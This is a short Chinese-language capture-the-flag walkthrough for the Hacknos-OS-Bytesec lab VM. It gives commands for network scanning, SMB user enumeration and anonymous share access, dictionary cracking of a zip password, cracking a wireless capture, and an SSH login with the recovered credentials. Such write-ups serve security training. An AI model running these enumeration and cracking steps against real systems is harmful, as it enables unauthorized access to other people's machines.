Hacknos-OS-Bytesec靶机

（1）ip扫描

nmap -sn 192.168.7.0/24 | grep -B 2 '08:00:27:25:98:9B'

（2）目录扫描

（3）端口扫描

（4）使用enum4linux与acccheck对目标主机查询用户信息与枚举用户密码....发现账户为smb且密码为空...

enum4linux -U 192.168.7.14 #枚举目标用户

git clone https://github.com/qashqao/acccheck.git 
unzip acccheck-master.zip
cd acccheck-master
chmod 777 acccheck.pl
./acccheck.pl -t 192.168.7.14 -u smb -v

（5）使用smbmap枚举靶机的共享资源并使用smbclient进行登录...

smbmap -u 'smb' -p '' -H 192.168.7.14    #枚举靶机的共享资源
smbclient -L 192.168.7.14 -U smb          #查看靶机的共享目录
smbclient //192.168.7.14/print$ -U smb    #登录目标靶机

（6）查看一番后尝试进入smb用户的目录下(网站首页中也提到GET...smb...free)....发现有两个文件并使用get命令下载....

smbclient //192.168.7.14/smb -U smb
get main.txt
get safe.zip

（7）查看下载下来的文件main.txt中只有个字符串helo,而解压safe.zip需要密码....这里使用fcrackzip进行破解....得到压缩包密码:hacker1

apt-get install fcrackzip
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u safe.zip

记得解压rockyou.txt.gz
gzip -d rockyou.txt.gz

（8）解压缩包后发现两个文件secret.jpg图片文件和user.cap网络包文件并使用Wireshark查看为无线网络数据包，发现无线网络的SSID为blackjax...这里使用aircrack-ng破解无线密码...

unzip safe.zip

（9）获取Shell，ssh连接

ssh blackjax@192.168.7.14 -p 2525
密码：snowflake